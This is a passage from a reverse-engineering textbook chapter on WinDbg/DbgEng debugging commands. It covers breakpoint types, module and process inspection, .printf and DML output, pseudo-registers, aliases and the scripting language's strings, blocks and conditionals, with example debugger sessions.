 2 e 771176be     0001 (0001)  0:**** ntdll!_sin_default+0x26
 3 e 7711777e     0001 (0001)  0:**** ntdll!sqrt+0x2a
 4 e 771177c0     0001 (0001)  0:**** ntdll!sqrt+0x6a

To disable breakpoints, use the bd command. Similarly, use the be command 

to enable breakpoints, and the bc command to clear (delete) breakpoints.

You can specify a series of breakpoint IDs to enable, disable, or clear them:

be 0 2 4

Or a range:

be 1-3

Or simply all breakpoints:

be *

Unresolved Breakpoints

The bu command creates a breakpoint whose address is still unknown/unre-

solved or whose address may change if it belongs to a module (that is ASLR 

aware) that is loaded and unloaded many times at different base addresses.

The debugger will try to reevaluate the breakpoint address when a new 

module is loaded and if the symbol is matched the breakpoint becomes active. 

When the module is unloaded, the breakpoint becomes inactive until the symbol 

can be resolved again.
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In short, the address of the breakpoint is not fi xed and will automatically be 

adjusted by the debugger.

Software Breakpoints

Software breakpoints can be created using the bp command. If the address can 

be resolved when the breakpoint is created, then the breakpoint becomes active. 

If the breakpoint cannot be resolved, the breakpoint will act like an unresolved 

breakpoint and become active once the address can be resolved. If the module 

at the breakpoint address is unloaded and then loaded again, the previously 

resolved breakpoint address will remain fi xed (as opposed to the unresolved 

breakpoints).

Hardware Breakpoints

Hardware breakpoints can be created using the ba command. These breakpoints 

are assisted by the hardware. To create a hardware breakpoint you need to 

specify the address, access type, and size. The access type designates whether 

to break on read (read/write), write (write only), or execute. The size designates 

how big the item you are breaking on access for is. For instance, to break on 

“word access,” specify the size 2.

N O T E   There is an architectural limit on the number of hardware breakpoints you 

can have.

Conditional Breakpoints

Conditional breakpoints can be any type of breakpoint just described. In fact, 

each breakpoint can be associated with a command. When a conditional com-

mand is associated with a breakpoint, the breakpoint can be considered a con-

ditional breakpoint.

The following example creates a conditional breakpoint such that when eax 

has the value of 5, the breakpoint will suspend execution; otherwise, the break-

point will continue resuming execution:

0:000> uf kernelbase!GetLastError

KERNELBASE!GetLastError:

7661d0d6 64a118000000    mov     eax,dword ptr fs:[00000018h]

7661d0dc 8b4034          mov     eax,dword ptr [eax+34h]

7661d0df c3              ret

0:000> bp 7661d0df ".if @eax!=5 { gc; }"

0:000> bl

0 e 7661d0df 0001 (0001) 0:*** KERNELBASE!GetLastError+0x9 ".if @eax!=5 

{gc;}"
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It is possible to associate a more elaborate condition with a breakpoint. This is 

covered in the section “Scripting with the Debugging Tools,” later in this chapter.

Inspecting Processes and Modules

The DbgEng enables you to inspect running processes, loaded/unloaded mod-

ules, or loaded kernel mode drivers.

To get the list of loaded and unloaded modules, use lm:

0:001> lm n
start    end        module name
00400000 00405000   image00400000
5ca40000 5cb44000   MFC42
733a0000 733b9000   dwmapi
73890000 73928000   apphelp
...

Similarly, in kernel mode debugging, the lm command will display the list 

of loaded device drivers:

kd> lm n
start    end        module name
804d7000 806cd280   nt       ntkrnlpa.exe
806ce000 806ee380   hal      halaacpi.dll
b205e000 b2081000   Fastfat  Fastfat.SYS 
b2121000 b2161380   HTTP     HTTP.sys    
b2d2b000 b2d4cd00   afd      afd.sys     
b2d4d000 b2d74c00   netbt    netbt.sys   
b2d75000 b2dcca80   tcpip    tcpip.sys   
bf800000 bf9c0380   win32k   win32k.sys  
f83e6000 f8472480   Ntfs     Ntfs.sys    
f86ca000 f86d6c80   VolSnap  VolSnap.sys 
f8aaa000 f8aad000   BOOTVID  BOOTVID.dll

...

N O T E  The n option was passed to minimize the default output of the lm command.

To view module information (version, size, base, etc.), use the v switch for 

verbose mode and m to specify a module name to match:

kd> lm v m *volsnap*
start    end        module name
f86ca000 f86d6c80   VolSnap
    Loaded symbol image file: VolSnap.sys
    Image path: VolSnap.sys
    Image name: VolSnap.sys
    Timestamp:        Tue Aug 03 23:00:14 2004 (41107B6E)
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    CheckSum:         00017B61
    ImageSize:        0000CC80
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4

When in kernel mode, you have a full view of all running processes. Use the 

!process extension command with the 0 0 fl ags to list all running processes:

kd> !process 0 0

**** NT ACTIVE PROCESS DUMP ****

PROCESS 823c8830  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 

0000

    DirBase: 00334000  ObjectTable: e1000c90  HandleCount: 246.

    Image: System

PROCESS 820ed020  SessionId: none  Cid: 017c    Peb: 7ffdd000  ParentCid: 

0004

    DirBase: 07f40020  ObjectTable: e14f9c60  HandleCount:  21.

    Image: smss.exe

PROCESS 81e98740  SessionId: 0  Cid: 0278    Peb: 7ffde000  ParentCid: 017c

    DirBase: 07f40060  ObjectTable: e1010ac8  HandleCount: 517.

    Image: winlogon.exe

PROCESS 81e865c0  SessionId: 0  Cid: 02a4    Peb: 7ffde000  ParentCid: 0278

    DirBase: 07f40080  ObjectTable: e1a7a450  HandleCount: 265.

    Image: services.exe

PROCESS 821139f0  SessionId: 0  Cid: 0354    Peb: 7ffd9000  ParentCid: 02a4

    DirBase: 07f400e0  ObjectTable: e1a78ce0  HandleCount: 201.

    Image: svchost.exe

PROCESS 81e68558  SessionId: 0  Cid: 0678    Peb: 7ffdd000  ParentCid: 0658

    DirBase: 07f401e0  ObjectTable: e177aa70  HandleCount: 336.

    Image: explorer.exe

N O T E  This is equivalent to using the !for_each_process extension command 

without any parameters.

It is possible to set breakpoints in user-mode processes using the kernel 

debugger. First you need to switch to the correct process context, and for that 

you need the EPROCESS value:

kd> !process 0 0 explorer.exe

PROCESS 81e68558  SessionId: 0  Cid: 0678    Peb: 7ffdd000  ParentCid: 0658

    DirBase: 07f401e0  ObjectTable: e177aa70  HandleCount: 336.

    Image: explorer.exe

Then use the .process /r /p EPROCESS command to switch to the context 

of the desired process:

kd> .process /r /p 81e68558
Implicit process is now 81e68558
.cache forcedecodeuser done
Loading User Symbols.........
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At this point, after the context switch, use lm to not only list the loaded kernel 

drivers but also the user-mode modules.

The next example sets a breakpoint at kernel32!CreateFileW for that EPROCESS:

(1)
kd> bp /p 81e68558 kernel32!CreateFileW
(2)
kd> bl
 0 e 7c810976     0001 (0001) kernel32!CreateFileW
     Match process data 81e68558
(3)
kd> g
Breakpoint 0 hit
kernel32!CreateFileW:
001b:7c810976 8bff            mov     edi,edi
(4)
kd> .printf "%mu\n", poi(@esp+4);
C:\Temp\desktop.ini 

In marker 1, we set an EPROCESS fi lter with the bp /p EPROCESS command so 

that only the explore.exe process triggers the breakpoint. Marker 2 lists the 

breakpoints. Note that it will only match for a certain EPROCESS. At marker 3 

we resume execution and wait until the breakpoint triggers. At marker 4, we 

display the fi lename that was accessed. Marker 4 will become much clearer after 

you read the “Language” section later in this chapter. 

Now suppose you want to display all processes that called the CreateFileW 

API and display which fi lename was referenced:

kd> bp kernel32!CreateFileW "!process @$proc 0;.printf "%mu\n",poi(@esp+4);gc;"

This will break whenever any user-mode process hits the breakpoint, and 

then the breakpoint command will invoke !process with the current EPROCESS 

(set in the pre-defi ned pseudo-register $proc) to display the current process 

context information, display the fi lename, and fi nally resume execution with gc.

N O T E  !process @$proc 0 is equivalent to !process -1 0.

When execution is resumed, you see this redacted output:

kd> g

PROCESS 82067020  SessionId: 0  Cid: 0138    Peb: 7ffdf000  ParentCid: 02a4

    DirBase: 07f40260  ObjectTable: e1b66ef8  HandleCount: 251.

    Image: vmtoolsd.exe

C:\WINDOWS\SoftwareDistribution\DataStore\DataStore.edb

PROCESS 81dc0da0  SessionId: 0  Cid: 0204    Peb: 7ffd5000  ParentCid: 03fc
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    DirBase: 07f40280  ObjectTable: e1ba8ea8  HandleCount: 177.

    Image: wuauclt.exe

PROCESS 81e68558  SessionId: 0  Cid: 0678    Peb: 7ffdd000  ParentCid: 0658

    DirBase: 07f401e0  ObjectTable: e177aa70  HandleCount: 362.

    Image: explorer.exe

C:\WINDOWS\media\Windows XP Start.wav

PROCESS 81e68558  SessionId: 0  Cid: 0678    Peb: 7ffdd000  ParentCid: 0658

    DirBase: 07f401e0  ObjectTable: e177aa70  HandleCount: 351.

    Image: explorer.exe

C:\WINDOWS\WinSxS\Policies\x86_Policy.6.0.Microsoft.Windows.Common-Controls 

_6595b64144ccf1df_x-ww_5ddad775\6.0.2600.2180.Policy

PROCESS 820f0020  SessionId: 0  Cid: 0260    Peb: 7ffdf000  ParentCid: 017c

    DirBase: 07f40040  ObjectTable: e1503128  HandleCount: 343.

    Image: csrss.exe

Miscellaneous Commands

This section introduces several miscellaneous debugger commands, the .printf 

command, along with the format specifi ers it supports, and describes how to 

use the Debugger Markup Language (DML) with .printf or other commands 

that support DML.

The .printf Command

The .printf command is one of the most useful commands to help display 

information from scripts or commands. As in the C language, this command 

takes format specifi ers. Following are a few important ones:

 ■ %p (pointer value)—Displays a pointer value.

 ■ %d, %x, %u (number value)—Displays integer values. The syntax is very 

similar to C’s format specifi ers.

 ■ %ma / %mu  (pointer value)—Displays the ASCII/Unicode string at the 

specifi ed pointer.

 ■ %msa / %msu (pointer value)—Displays the ANSI_STRING / UNICODE_STRING 

value at the specifi ed pointer.

 ■ %y (pointer value)—Displays the symbol name (and displacement if any) 

at the specifi ed pointer.
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Here is a simple example:

0:000> .printf "t0=%d t1=%d eax=%x ebx=%d\n", @$t0, @$t1, @eax, @ebx
t0=0 t1=0 eax=5 ebx=8323228

There is no %s specifi er to expand string arguments. The following example 

expands the value of the user-defi ned alias by embedding it in the format 

parameter:

0:000> aS STR "TheValue"
0:000> al
  Alias            Value  
 -------          ------- 
STR              TheValue 

0:000> .printf "This value of string is ${STR}\n"

The .printf command can make use of the Debugger Markup Language 

(DML). To use DML with .printf, specify the /D switch. 

N O T E  DML works only in WinDbg.

To display with strings with colors, use the col markup:

0:000> .printf /D "<col fg=\"emphfg\">Hello</col> world\n"
Hello world

It is also possible to use the u, i, and b tags for underline, italic, and bold, 

respectively:

0:000> .printf /D "<u>underline</u> <b>bold</b> <i>italics</i>\n";
underline bold italics

A very useful markup is the link  because it makes the output clickable and 

associated with a command:

0:000> .printf /D "Click <link cmd=\"u 0x401000\">here</link>\n"
Click here

Some debugger commands also take the /D switch. For example, lm /D will 

list the modules, and each module is clickable. When a module is clicked, the 

command lmvm modulename will be issued.

N O T E  Use the .prefer_dml 1 command to toggle a global setting that tells com-

mands that support DML to prefer DML when applicable.
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For more information, check dml.doc in the debugging tools distribution.

Other Commands 

Before ending our discussion about debugger commands, we list a few more 

useful commands:

 ■ #—Searches for a disassembly pattern.

 ■ !gle—Returns the last error code.

 ■ .logopen/.logfile/.logappend/.logclose—Commands to manage log-

ging of output from the command window to text fi les.

 ■ .load—Loads a debugger extension.

 ■ .cls—Clears the debugger’s output window. (This command does not 

work in scripts because it is not part of the DbgEng scripting language.)

 ■ .effmach—Changes or displays the processor mode that the debugger 

uses. It is useful when debugging WOW64 processes. This command is 

also similar to the extension command !wow64exts.sw.

Scripting with the Debugging Tools

This section illustrates important scripting features in the DbgEng that are use-

ful for automating reverse engineering and debugging tasks.

Pseudo-Registers

The DbgEng supports pseudo-registers to hold certain values. All of the pseudo-

registers start with the $ sign. Prefi xing a pseudo-register or a register with the 

@ sign tells the interpreter that the identifi er is not a symbol, thus no exhaustive, 

sometimes slow, symbol lookup will take place.

Predefi ned Pseudo-Registers

In this section we introduce some useful predefi ned pseudo-registers. They 

can be used in expressions or as parameters to debugger commands or scripts. 

Please note that some pseudo-registers may or may not be defi ned, depending 

on the debugged target.

 ■ $csp—The current call stack pointer. This is useful because you don’t 

have to guess if you should use esp or rsp.

 ■ $ip—The current instruction pointer. Similarly, a dot (.) can be used to 

denote the current instruction pointer.
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 ■ $retreg/$retreg64—The return registers (typically eax, edx:eax, or rax).

 ■ $p—The fi rst value that the last d? command displayed:

0:000> dd @$ip L 1
012aa5e5  012ec188
0:000> ? @$p
Evaluate expression: 19841416 = 012ec188
0:000> dw @$ip+2 L 1
012aa5e5  c188
0:000> ? @$p
Evaluate expression: 49544 = 0000c188
0:000> db @$ip+2 L 1
012aa5e5  88
0:000> ? @$p
Evaluate expression: 136 = 00000088

 ■ $ra—The current return address. This is equivalent to poi(@$csp).

 ■ $exentry—The entry point address of the fi rst executable of the current 

process. This is very useful when debugging a program from the begin-

ning because DbgEng does not break on the entry point but in the kernel. 

 ■ $peb—Process Environment Block. This pseudo-register has the following 

type: ntdll!_PEB *.

 ■ $proc—The EPROCESS* address of the current process in kernel mode. In 

user-mode it equates to $peb.

 ■ $teb—Thread Environment Block of the current thread. It has the follow-

ing type: ntdll!_TEB*.

 ■ $thread—ETHREAD* in kernel mode. In user-mode it is same as $teb.

 ■ $tpid—The current process id.

 ■ $tid—The current thread id.

 ■ $ptrsize—The pointer size from the point of view of the debuggee. If 

your host OS is 64-bit and you are debugging a 32-bit process, then $ptr-

size=4. In kernel mode it returns the pointer size of the target machine.

 ■ $pagesize—The number of bytes per memory page (usually 4,096).

 ■ $dbgtime—The current time (based on the computer running the debugger).

 ■ $bpNUM—The address associated with the breakpoint number:

0:000> bl
 0 e 012aa597     0001 (0001)  0:**** calc!WinMainCRTStartup+0xf
 1 e 012aa5ab     0001 (0001)  0:**** calc!WinMainCRTStartup+0x23
0:000> ? @$bp0
Evaluate expression: 19572119 = 012aa597
0:000> ? @$bp1
Evaluate expression: 19572139 = 012aa5ab
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 ■ $exp—The value of the last expression evaluated:

0:000> r $t0 = 1 + 4
0:000> ? @$exp
Evaluate expression: 5 = 00000005

or
0:000> ? Esp
Evaluate expression: 1637096 = 0018fae8
0:000> ? @$exp
Evaluate expression: 1637096 = 0018fae8

The fi rst example assigns a value into a pseudo-register after it was evaluated. 

You can see how $exp returns the last value. The same is true for the second 

example, which evaluates the value of the esp register.

User-Defi ned Pseudo-Registers

In addition to the pre-defi ned pseudo-registers, DbgEng enables users to defi ne 

their own set of pseudo-registers. DbgEng provides 20 user-defi ned pseudo-

registers (UDPRs) for use and to store integer values. They are $t0 to $t19.

The r command is used to assign values to those registers:

0:000> r $t0 = 1234
0:000> ? @$t0
Evaluate expression: 4660 = 00001234

Because numbers can be pointers, it is possible to store typed pointers into 

those pseudo-registers using the r? command:

(1)
0:000> ? poi(@$ip)
Evaluate expression: 409491562 = 1868586a
(2)
0:000> r? $t0 = @@c++((unsigned long *)@$ip)
(3)
0:000> ? @@c++(*@$t0) 
Evaluate expression: 409491562 = 1868586a

On marker 1, we dereference and evaluate the value pointed to by $ip. On 

marker 2, we use r? to assign a C++ expression to $t0; the cast operator is used 

to return a typed pointer (of type unsigned long *) into $t0. Finally, on marker 

3 we use the C++ dereferencing operator to dereference $t0. (This would have 

not been possible without having a previously typed $t0 or without preceding 

the expression by a cast.)

Here’s another example:

0:000> r? $t0 = @@c++(@$peb->ProcessParameters->ImagePathName)
0:000> ? $t0
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Evaluate expression: 0 = 00000000
0:000> ?? @$t0
struct _UNICODE_STRING
 "c:\windows\syswow64\calc.exe"
   +0x000 Length           : 0x38
   +0x002 MaximumLength    : 0x3a
   +0x004 Buffer           : 0x0098189e  "c:\windows\syswow64\calc.exe"

Note that when you evaluate $t0 with ?, you get zero. When you use the C++ 

evaluation syntax ??, however, you get the actual typed value.

Symbols, all kinds of pseudo-registers, or aliases can also be used in expressions.

Aliases

An alias is a mechanism that enables you to create equivalence between a 

value and a symbolic name. By evaluating the alias you get the value that was 

assigned to the alias.

The DbgEng supports three kinds of aliases:

 ■ User-named aliases—As the name implies, these aliases are chosen by 

the user.

 ■ Fixed-name aliases—There are ten of them, named $u0 .. $u9.

 ■ Automatic aliases—These are pre-defi ned aliases that expand to certain 

values.

User-Named Aliases

This section describes how to create and manage user-defi ned aliases and 

explains how they are interpreted.

Creating and Managing User-Named Aliases

The following commands are used to create user-named aliases: 

 ■ as AliasName Alias_Equivalence—Creates a line equivalence for the 

given alias:

as MyAlias lm;vertarget

This will create an alias for two commands: lm and then vertarget. You 

can execute both commands by invoking MyAlias.

 ■ aS AliasName Alias_Equivalence—Creates a phrase equivalence for the 

given alias. That means a semicolon will terminate the alias equivalence 

(unless the equivalence was enclosed in quotes) and start a new command.

aS MyAlias lm;vertarget
aS MyAlias "lm;vertarget"
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The fi rst line will execute two things: create an alias with value lm and then 

execute the vertarget command. The second line (because the equivalence 

is enclosed in quotes) defi nes the alias with value lm;vertarget.

N O T E  User-defi ned alias names cannot contain the space character.

Other alias commands include the following:

 ■ al—Lists already defi ned aliases.

 ■ ad [/q] AliasName|*—Deletes an alias by name or all aliases. The /q 

switch will not show error messages if the alias name was not found.

The aS command can used to create aliases that equate to environment vari-

ables values, expressions, fi le contents, command output, or even string contents 

from the debuggee’s memory:

 ■ aS /f AliasName FileName—Assigns the contents of a fi le to the alias:

0:000> aS /f AliasName c:\temp\lines.txt
0:000> al
  Alias            Value  
 -------          ------- 
 AliasName        line1
line2
line3
line4
line5

 ■ aS /x AliasName Expression64—Assigns the 64-bit value of an expres-

sion to the alias. This is useful in many ways, especially when assigning 

the value of an automatic alias to a user-named alias:

0:000> r $t0 = 0x123
0:000> as /x AliasName @$t0
0:000> al
  Alias            Value  
 -------          ------- 
 AliasName        0x123 
0:000> as IncorrectAlias @$t0
0:000> al
  Alias            Value  
 -------          ------- 
 AliasName        0x123 
 IncorrectAlias   @$t0
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Note that the fi rst as /x usage correctly assigned the value 0x123 to the 

alias, whereas the second as assignment took the literal value of @$t0 

(because of the missing /x switch).

 ■ as /e AliasName EnvVarName—Sets the AliasName alias to the value of 

the environment variable called EnvVarName:

0:000> as /e CmdPath COMSPEC
0:000> al
  Alias            Value  
 -------          ------- 
 CmdPath          C:\Windows\system32\cmd.exe 

 ■ as /ma AliasName Address—Sets the content of the null-terminated 

ASCII string pointed to by the address in the alias:

0:000> db 0x40600C

0040600c  54 6f 6f 6c 62 61 72 57-69 6e 64 6f 77 33 32 00  ToolbarWin-

dow32.

0:000> as /ma Str1 0x40600C

0:000> al

  Alias            Value  

 -------          ------- 

 Str1             ToolbarWindow32 

 ■ as /mu AliasName Address—Sets the content of the null-terminated 

Unicode string pointed to by the address in the alias

 ■ as /ms[a|u] AliasName Address—Sets the contents of an ASCII_STRING 

(structure defi ned in the DDK) or UNICODE_STRING in the alias:

(1)

0:000> dt _UNICODE_STRING

ntdll!_UNICODuE_STRING

   +0x000 Length           : Uint2B

   +0x002 MaximumLength    : Uint2B

   +0x004 Buffer           : Ptr32 Uint2B

 

(2)

0:000> ?? sizeof(_UNICODE_STRING)

unsigned int 8

 

(3)

0:000> ?? @@c++(@$peb->ProcessParameters->DllPath)

struct _UNICODE_STRING

 "C:\Windows\system32\NV"

   +0x000 Length           : 0x2c

   +0x002 MaximumLength    : 0x2e

   +0x004 Buffer           : 0x001f1880  "C:\Windows\system32\NV"
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(4)

0:000> dd @@c++(&(@$peb->ProcessParameters->DllPath)) L2

001f1408  002e002c 001f1880

 

(5)

0:000> db 001f1880 L2e

001f1880  43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00  

C.:.\.W.i.n.d.o.

001f1890  77 00 73 00 5c 00 73 00-79 00 73 00 74 00 65 00  

w.s.\.s.y.s.t.e.

001f18a0  6d 00 33 00 32 00 5c 00-4e 00 56 00 00 00        m.3.2.\.N.V...

 

(6)

0:000> as /msu DllPath @@c++(&(@$peb->ProcessParameters->DllPath))

0:000> al

  Alias            Value  

 -------          ------- 

 DllPath          C:\Windows\system32\NV 

At marker 1, we display the fi elds of the _UNICODE_STRING structure, and 

at marker 2 we display the structure’s size using the C++ evaluator. Similarly, 

marker 3 uses the C++ typed evaluation to dump the value of DllPath fi eld. 

Marker 4 uses the & operator to dump the _UNICODE_STRING fi eld contents, and 

marker 5 dumps the Buffer address. Finally, marker 6 uses the as command to 

create an alias with its contents read from a _UNICODE_STRING pointer.

Interpreting User-Named Aliases

User-named aliases can be interpreted using the basic syntax ${AliasName} or 

by simply typing the alias name. The former should be used when the alias is 

embedded in a string and not surrounded by space characters:

0:000> aS AliasName "Alias value"
0:000> .printf "The value is >${AliasName}<\n"
The value is >Alias value<

When an alias is not defi ned, alias evaluation syntax remains unevaluated:

0:000> .printf "The value is >${UnkAliasName}<\n"
The value is >${UnkAliasName}<

The following switches control how the aliases are interpreted:

 ■ ${/d:AliasName}—Evaluates to 1 if the alias is defi ned, and 0 if the alias 

is not defi ned. This switch comes in handy when used in a script to deter-

mine whether an alias is defi ned or not:

0:000> .printf ">${/d:AliasName}<\n"
>1<
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0:000> .printf ">${/d:UnkAliasName}<\n"
>0<

 ■ ${/f:AliasName}—When this switch is used, an undefi ned alias will 

evaluate to an empty string or to the actual value if the alias was defi ned:

0:000> .printf ">${/f:DefinedAliasName}<\n"
>Alias value<
0:000> .printf ">${/f:UndefinedAliasName}<\n"
><

 ■ ${/n:AliasName}—Evaluates to the alias name or remains unevaluated 

if the alias is not defi ned:

0:000> .printf ">${/n:AliasName}<\n"
>AliasName<
0:000> .printf ">${/n:AliasName2}<\n"
>${/n:AliasName2}<
0:000> .printf ">${/n:UnkAliasName}<\n"
>${/n:UnkAliasName}< 

 ■ ${/v:AliasName}—This switch prevents any alias evaluation:

0:000> .printf ">${/v:AliasName}<\n"
>${/v:AliasName}<
0:000> .printf ">${/v:UnkAliasName}<\n"
>${/v:UnkAliasName}<

After an alias is defi ned, it can be used in any subsequent command (as a 

command or a parameter to a command):

0:000> aS my_printf .printf
0:000> al
  Alias            Value  
 -------          ------- 
 my_printf        .printf

When used as a command:

0:000> ${my_printf} "Hello world\n"
Hello world
0:000> my_printf "Hello world\n"
Hello world

When used as a parameter to a command:

0:000> .printf "The command to display strings is >${my_printf}<\n"
The command to display strings is >.printf
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0:000> .printf "The command to display strings is my_printf \n"
The command to display strings is  printf

When reassigning values to user-defi ned aliases, note the following:

 ■ Using the aS command as follows produces an error:

0:000> aS MyVar 0n123;.printf "v=%d", ${MyVar}
v=Couldn't resolve error at '${MyVar}'

The reason for this error is because aliases are expanded in new blocks 

only. This can be remedied with the following:

0:000> aS MyVar 0n123;.block { .printf "v=%d", ${MyVar}; }
v=123

 ■ The /v: switch behaves like the /n: switch when used with aS, as, and 

ad. The reason we mention this is illustrated in the following example:

0:000> aS MyVar 0n123;.block { aS /x MyVar ${MyVar}+1 }
0:000> al
  Alias            Value  
 -------          ------- 
 0n123            0x7c
 MyVar            0n123

The fi rst command creates the MyVar alias and increments its value by 

one; however, a new alias named 0n123 is created. That’s because the 

MyVar alias has been replaced by its equivalent instead of being used as 

an alias name.

What you instead need to do is let the aS command know that MyVar is 

the alias name, and its value should not be expanded or evaluated. This is 

where the /v: switch, when used with the as or the aS command, should 

be used:

0:000> aS MyVar 123;.block { aS /x ${/v:MyVar} ${MyVar}+1 };al
  Alias            Value  
 -------          ------- 
 MyVar            0x124

Notice that now, when ${/v:MyVar} is used in conjunction with aS, it 

evaluates to the alias name (like the ${/n:AliasName} would).
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Fixed-Name Aliases

As mentioned earlier, there are 10 fi xed-name aliases named $u0 through $u9. 

While the fi xed-name aliases look like registers or pseudo-registers, they are 

not. To assign values to them, use the r command followed by $. and the alias 

name, like this:

(1)
0:000> r $.u0 = .printf
(2)
0:000> r $.u1 = 0x123
(3)
0:000> r $.u2 = Hello world
(4)
0:000> $u0 "$u2\n"
Hello world
(5)
0:000> $u0 "$u2, u1=%x", $u1
Hello world, u1=123

Marker 1 aliases $u0 to the .printf command.  Note the $. prefi x and that 

the .printf command is purposely not enclosed with quotes in the equivalence. 

Marker 2 defi nes $u1 with a numeric value, and marker 3 defi nes $u2 with a 

string value. Marker 4 uses $u0 as an equivalent to the .printf command and 

prints $u2, which is enclosed in quotes and resolves to “Hello world.” Finally, 

marker 5 prints the value $u1 in a similar fashion to marker 4.

N O T E  Always use $. when defi ning the alias; however, when using the alias you do 

not need to use $. or even the @ sign as you do for pseudo-registers or aliases.

Fixed-name alias replacement has a higher precedence than user-named aliases.

Automatic Aliases

The DbgEng defi nes a few aliases when the debugging session starts. The auto-

matic aliases are similar to the pre-defi ned pseudo-registers except that they 

can also be used with the ${} syntax (like user-named aliases).

The following registers are defi ned: 

 ■ $ntnsym

 ■ $ntwsym

 ■ $ntsym

 ■ $CurrentDumpFile
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 ■ $CurrentDumpPath

 ■ $CurrentDumpArchiveFile 

 ■ $CurrentDumpArchivePath

To illustrate this, the following invokes the cdb command-line debugger with 

the -z switch to open a crash dump fi le, and uses -cf script.wds to execute a 

series of commands from a text fi le:

c:\Tools\dbg>cdb -cf av.wds -z m:\xp_kmem.dmp

The contents of the script fi le is as follows:

.printf "Script started\n"

.logopen @"${$CurrentDumpFile}.log"
!analyze -v
.logclose
.printf "Script finished, quitting\n"
q

When the debugger starts, it will interpret each line in av.wds:

 1. Print a startup message.

 2. Open a log fi le that has the name of the current crash dump fi le with .log 

appended to it. Note how you expand to automatic alias with the ${} 

syntax.

 3. Issue the !analyze -v command.

 4. Close the log fi le, print a quit message, and exit the debugger with the q 

command.

N O T E  The @ sign is used to defi ne a literal (or raw) string. See the upcoming 

“Characters and Strings” section.

Language

In this section, we discuss the scripting language, tokens, and commands.

Comments

Use the $$ command to specify comments. For instance:

$$ This is a comment
$$ This is another comment
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To use more than one comment on a line with multiple statements, use the 

semicolon character to terminate the comment:

r eax = 0; $$ clear EAX ; r ebx = ebx + 1; $$ increment EBX;

The asterisk (*) can also be used to create comments; however, the entire line 

after the asterisk will be ignored even if a semicolon delimiter is used:

r eax = 0; * clear EAX ; r ebx = ebx + 1;

The preceding command will just clear EAX; it won’t increment EBX by one.

There is a slight difference between the $$ comment specifi er and the .echo 

command. The .echo command displays the line instead of just ignoring it.

Characters and Strings

Characters are specifi ed when enclosed in single quotes:

0:000> @dvalloc 1
0:000> eb @$t0 'a' 'b' 'c' 'd' 'f' 'g'
0:000> db @$t0 L 6
02250000  61 62 63 64 66 67

Strings are specifi ed with double quotes:

0:000> ea @$t0 "Practical reverse engineering";

0:000> db @$t0 L20 

02250000  50 72 61 63 74 69 63 61-6c 20 72 65 76 65 72 73  Practical revers

02250010  65 20 65 6e 67 69 6e 65-65 72 69 6e 67 00 00 00  e engineering...  

As in C, the string may contain escape sequences; therefore, you need to 

escape the sequence in order to get the correct result:

(1)
0:000> .printf "c:\\tools\\dbg\\windbg.exe\n"
c:\tools\dbg\windbg.exe
(2)
0:000> .printf "a\tb\tc\n1\t2\t3\n"
a      b      c
1      2      3 

The fi rst command escaped the backslash with the escape character. The 

second example uses the horizontal tab escape sequence (\t).

The DbgEng allows the use of raw strings; such strings will be interpreted 

literally without taking into consideration the escape sequence. To specify a 

literal string, precede the string with the at sign (@):
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(1)
0:000> .printf @"c:\tools\dbg\windbg.exe\n";.printf "\n";
c:\tools\dbg\windbg.exe\n
(2)
0:000> .printf @"a\tb\tc\n1\t2\t3\n"
a\tb\tc\n1\t2\t3\n

Notice how the escape sequences remained as specifi ed without being inter-

preted. Similarly, if you have a user-named alias that was created from memory 

contents and you want to evaluate it literally, also prefi x the ${} with @:

(1)
0:000> aS /mu STR 0x3cba030
0:000> al
  Alias            Value  
 -------          ------- 
STR              C:\Temp\file.txt
(2)
0:000> .printf "${STR}\n";
C:Tempfile.txt
(3)
0:000> .printf @"${STR}";.printf "\n";
C:\Temp\file.txt

Marker 1 creates a user-named alias from the zero-terminated Unicode string 

at the specifi ed memory address and displays the list of aliases. Marker 2 prints 

the alias value. (Notice that the output is not as intended.) At marker 3, after 

prefi xing the string with @, the output is correct.

Blocks

A block can be created via the .block command followed by opening and clos-

ing curly braces ({ }):

.block
{
       $$ Inside a block ...
       .block
       {
             $$ Nested block ...
       }
}

When a user-named alias is created in a script, its value won’t be evaluated/

interpreted as intended unless a new block is created: 

aS MyAlias (@eax + @edx)
.block
{
       $$ Inside a block ...
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       .printf "The value of my alias is %X\n", ${MyAlias}
}

Conditional Statements

The .if, .elsif, and .else command tokens are used to write conditional 

statements.

The usage of .if and .elsif is similar to other languages where they take a 

condition. The condition can be any expression that evaluates to zero (treated 

as false) or a non-zero value (treated as true):

r $t0 = 3;
.if (@$t0==1)
{
       .printf "one\n";
}
.elsif @$t0==2
{
       .printf "two\n";
}
.elsif (@$t0==3)
{
       .printf "three\n";
}
.else
{
       .printf "unknown\n";
}

N O T E  The use of parentheses around the condition is optional.

All the built-in repetition structures and conditional statements require the 

use of the curly braces ({ and }) and thus create a block, which results in the 

proper evaluation of aliases:

aS MyAlias (@eax + @edx)
.if (1)
{
       $$ Inside a block ...
       .printf "The value of my alias is %X\n", ${MyAlias}
}

You can also compare strings with .if using a few different methods:

$$ By enclosing the strings to be compared in single quotes:
.if '${my_alias}'=='value'
{ 
       .printf "equal\n"; 
}
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.else 
{ 
       .printf "not equal!\n";
}

$$ By using the MASM operator scmp (or sicmp):
.if $scmp("${my_alias}", "value")
{
       .printf "equal\n"; 
}

$$ By using the MASM operator spat:
.if $spat("${my_alias}", "value")
{
       .printf "equal\n"; 
}
.else 
{ 
       .printf "not equal!\n";
}

The DbgEng also provides the j command, which can be compared to C’s 

ternary operator ( cond ? true-expr: false-expr), except that it runs com-

mands instead of returning expressions:

j Expression [']Command-True['] ; [']Command-False[']

The following is a very simple example with one command being executed 

in both cases (true or false):

0:000> r $t0 = -1
0:000> j (@$t0 < 0) r $t0 = @$t0-1 ; r $t0 = @$t0+1
0:000> ? $t0
Evaluate expression: -2 = fffffffe

The single quotes are optional in most cases; specify them if more than one 

command is to be executed:

0:000> r $t0 = 2

0:000> j (@$t0 < 0) 'r $t0 = @$t0-1;.echo Negative value' ; 

                    'r $t0 = @$t0+1;.echo Positive value'

Positive value

0:000> ? $t0

Evaluate expression: 3 = 00000003

It is common to use the j command as part of breakpoint commands to form 

conditional breakpoints.

The following example suspends the debugger (note the empty single quotes 

that specify that no command should be executed when the expression evaluates 

to True) only when the return address matches a certain value:
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0:000> bp user32!MessageBoxA "j (@$ra=0x401058) '';'gc;'"
0:000> g
user32!MessageBoxA:
756e22c2 8bff            mov     edi,edi
0:000> ? $ra
Evaluate expression: 4198488 = 00401058

